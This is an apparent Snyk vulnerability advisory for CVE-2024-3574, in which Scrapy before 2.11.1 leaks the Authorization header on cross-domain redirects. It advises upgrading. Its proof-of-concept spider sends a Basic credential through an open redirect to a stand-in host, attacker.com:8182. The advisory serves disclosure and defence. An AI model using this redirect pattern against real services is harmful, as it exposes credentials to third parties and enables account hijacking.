Information Exposure Through Sent Data Affecting scrapy package, versions [,2.11.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-SCRAPY-6615706
- published 16 Apr 2024
- disclosed 16 Apr 2024
- credit ranjit-git
Introduced: 16 Apr 2024
CVE-2024-3574 Open this link in a new tabHow to fix?
Upgrade Scrapy
to version 2.11.1 or higher.
Overview
Scrapy is a high-level web crawling and web scraping framework, used to crawl websites and extract structured data from their pages.
Affected versions of this package are vulnerable to Information Exposure Through Sent Data due to the failure to remove the Authorization
header when redirecting across domains. An attacker can potentially allow for account hijacking by exploiting the exposure of the Authorization
header to unauthorized actors.
PoC
class QuotesSpider(scrapy.Spider):
name = "quotes"
def start_requests(self):
urls = [
'http://mysite.com/redirect.php?url=http://attacker.com:8182/xx',
]
for url in urls:
yield scrapy.Request(url=url,cookies={'currency': 'USD', 'country': 'UY'},headers={'Authorization':'Basic YWxhZGRpbjpvcGVuc2VzYW1l'},callback=self.parse)
def parse(self, response):
page = response.url.split("/")[-2]
filename = f'quotes-{page}.html'
with open(filename, 'wb') as f:
f.write(response.body)
self.log(f'Saved file {filename}')
References
CVSS Scores
version 3.1